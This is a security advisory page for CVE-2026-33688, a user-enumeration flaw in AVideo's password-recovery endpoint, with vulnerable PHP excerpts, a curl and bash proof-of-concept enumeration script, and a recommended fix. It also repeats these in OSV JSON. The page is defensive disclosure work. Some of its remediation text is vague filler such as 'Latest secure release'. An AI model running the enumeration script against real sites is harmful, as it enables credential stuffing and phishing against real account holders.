CVE-2026-33688: Wwbn/avideo AVideo Has Pre-Captcha User Enumeration Vulnerability

MODERATE
Advisory Identifier: GHSA-m99f-mmvg-3xmx
CVSS 5.3
CWE-204
Published
Advisory Summary

CVE-2026-33688 is a MODERATE (CVSS 5.3) avideo has pre-captcha user enumeration vulnerability (CWE-204: Observable Response Discrepancy) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has pre-captcha user enumeration and account status disclosure in password recovery endpoint. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33688 at a Glance

CVE Identifier CVE-2026-33688
GHSA Identifier GHSA-m99f-mmvg-3xmx
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-204: Observable Response Discrepancy
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-33688

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33688, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-204: Observable Response Discrepancy, where the product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. ## Details In `objects/userRecoverPass.php`, the request flow is: 1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication: ```php $user = new User(0, $_REQUEST['user'], false); ``` 2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately: ```php if (empty($user->getStatus())) { $obj->error = __("User not found"); die(json_encode($obj)); } ``` 3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned: ```php if ($user->getStatus() !== 'a') { $obj->error = __("The user is not active"); die(json_encode($obj)); } ``` 4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks: ```php if (empty($_REQUEST['captcha'])) { $obj->error = __("Captcha is empty"); } else { require_once 'captcha.php'; $valid = Captcha::validation($_REQUEST['captcha']); ``` This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha. By contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug. No rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session). ## PoC ```bash # 1. Test a non-existent user — returns "User not found" without captcha curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=nonexistent_user_xyz&captcha=' | jq .error # Response: "User not found" # 2. Test a valid active user — passes user checks, hits captcha validation curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=admin&captcha=' | jq .error # Response: "Captcha is empty" # 3. Test an inactive/banned user (if one exists) — returns distinct status message curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=banned_user&captcha=' | jq .error # Response: "The user is not active" # 4. Bulk enumeration script — no captcha solving required for user in admin root test user1 user2 moderator editor; do result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d "user=${user}&captcha=") error=$(echo "$result" | jq -r .error) if [ "$error" = "Captcha is empty" ]; then echo "[ACTIVE] $user" elif [ "$error" = "The user is not active" ]; then echo "[INACTIVE] $user" else echo "[NOT FOUND] $user" fi done ``` ## Impact - **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier. - **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status. - **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint. - **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users. - **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration. ## Recommended Fix Move the captcha validation before the user existence checks, and return a generic message regardless of user status: ```php // In objects/userRecoverPass.php, replace lines 26-41 with: header('Content-Type: application/json'); // Validate captcha FIRST, before any user lookups if (empty($_REQUEST['captcha'])) { $obj->error = __("Captcha is empty"); die(json_encode($obj)); } require_once 'captcha.php'; $valid = Captcha::validation($_REQUEST['captcha']); if (!$valid) { $obj->error = __("Your code is not valid"); $obj->reloadCaptcha = true; die(json_encode($obj)); } // After captcha passes, check user — but use generic message if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) { // Generic message — do not reveal whether user exists or is active $obj->success = __("If this account exists, a recovery email has been sent"); die(json_encode($obj)); } // Proceed with actual password recovery... $recoverPass = $user->setRecoverPass(); ``` Additionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.

CVE-2026-33688 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33688?
CVE-2026-33688 is a security vulnerability in Wwbn/avideo involving AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint under CWE-204: Observable Response Discrepancy.
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33688?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33688?
CVE-2026-33688 has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
What CWE is associated with CVE-2026-33688?
CVE-2026-33688 is classified under CWE-204: Observable Response Discrepancy (The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere.).
How can I check Packagist dependencies for CVE-2026-33688?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m99f-mmvg-3xmx",
  "modified" : "2026-03-25T19:53:00Z",
  "published" : "2026-03-25T19:53:00Z",
  "aliases" : [ "CVE-2026-33688" ],
  "summary" : "AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint",
  "details" : "## Summary\n\nThe password recovery endpoint at `objects/userRecoverPass.php` performs user existence and account status checks **before** validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.\n\n## Details\n\nIn `objects/userRecoverPass.php`, the request flow is:\n\n1. **Line 11** — A `User` object is instantiated from unsanitized `$_REQUEST['user']` with no authentication:\n```php\n$user = new User(0, $_REQUEST['user'], false);\n```\n\n2. **Lines 27-29** — If the user does not exist, a distinct error is returned immediately:\n```php\nif (empty($user->getStatus())) {\n    $obj->error = __(\"User not found\");\n    die(json_encode($obj));\n}\n```\n\n3. **Lines 31-33** — If the user exists but is not active, a different distinct error is returned:\n```php\nif ($user->getStatus() !== 'a') {\n    $obj->error = __(\"The user is not active\");\n    die(json_encode($obj));\n}\n```\n\n4. **Lines 37-41** — Captcha validation only occurs **after** both user enumeration checks:\n```php\nif (empty($_REQUEST['captcha'])) {\n    $obj->error = __(\"Captcha is empty\");\n} else {\n    require_once 'captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n```\n\nThis ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.\n\nBy contrast, the registration endpoint (`objects/userCreate.json.php`) correctly validates the captcha at lines 32-42 **before** performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.\n\nNo rate limiting (`rateLimitByIP`) or brute force protection (`bruteForceBlock`) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).\n\n## PoC\n\n```bash\n# 1. Test a non-existent user — returns \"User not found\" without captcha\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=nonexistent_user_xyz&captcha=' | jq .error\n# Response: \"User not found\"\n\n# 2. Test a valid active user — passes user checks, hits captcha validation\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=admin&captcha=' | jq .error\n# Response: \"Captcha is empty\"\n\n# 3. Test an inactive/banned user (if one exists) — returns distinct status message\ncurl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n  -d 'user=banned_user&captcha=' | jq .error\n# Response: \"The user is not active\"\n\n# 4. Bulk enumeration script — no captcha solving required\nfor user in admin root test user1 user2 moderator editor; do\n  result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \\\n    -d \"user=${user}&captcha=\")\n  error=$(echo \"$result\" | jq -r .error)\n  if [ \"$error\" = \"Captcha is empty\" ]; then\n    echo \"[ACTIVE] $user\"\n  elif [ \"$error\" = \"The user is not active\" ]; then\n    echo \"[INACTIVE] $user\"\n  else\n    echo \"[NOT FOUND] $user\"\n  fi\ndone\n```\n\n## Impact\n\n- **Username enumeration**: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.\n- **Account status disclosure**: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.\n- **Credential stuffing enablement**: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.\n- **Phishing**: Knowledge of valid active accounts enables targeted social engineering attacks against real users.\n- **No throttling**: The absence of rate limiting on this endpoint allows high-speed automated enumeration.\n\n## Recommended Fix\n\nMove the captcha validation before the user existence checks, and return a generic message regardless of user status:\n\n```php\n// In objects/userRecoverPass.php, replace lines 26-41 with:\n\n    header('Content-Type: application/json');\n\n    // Validate captcha FIRST, before any user lookups\n    if (empty($_REQUEST['captcha'])) {\n        $obj->error = __(\"Captcha is empty\");\n        die(json_encode($obj));\n    }\n    require_once 'captcha.php';\n    $valid = Captcha::validation($_REQUEST['captcha']);\n    if (!$valid) {\n        $obj->error = __(\"Your code is not valid\");\n        $obj->reloadCaptcha = true;\n        die(json_encode($obj));\n    }\n\n    // After captcha passes, check user — but use generic message\n    if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {\n        // Generic message — do not reveal whether user exists or is active\n        $obj->success = __(\"If this account exists, a recovery email has been sent\");\n        die(json_encode($obj));\n    }\n\n    // Proceed with actual password recovery...\n    $recoverPass = $user->setRecoverPass();\n```\n\nAdditionally, consider adding `rateLimitByIP()` to this endpoint as defense-in-depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-m99f-mmvg-3xmx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33688"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/e42f54123b460fd1b2ee01f2ce3d4a386e88d157"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-204" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T19:53:00Z",
    "nvd_published_at" : "2026-03-23T19:16:42Z"
  }
}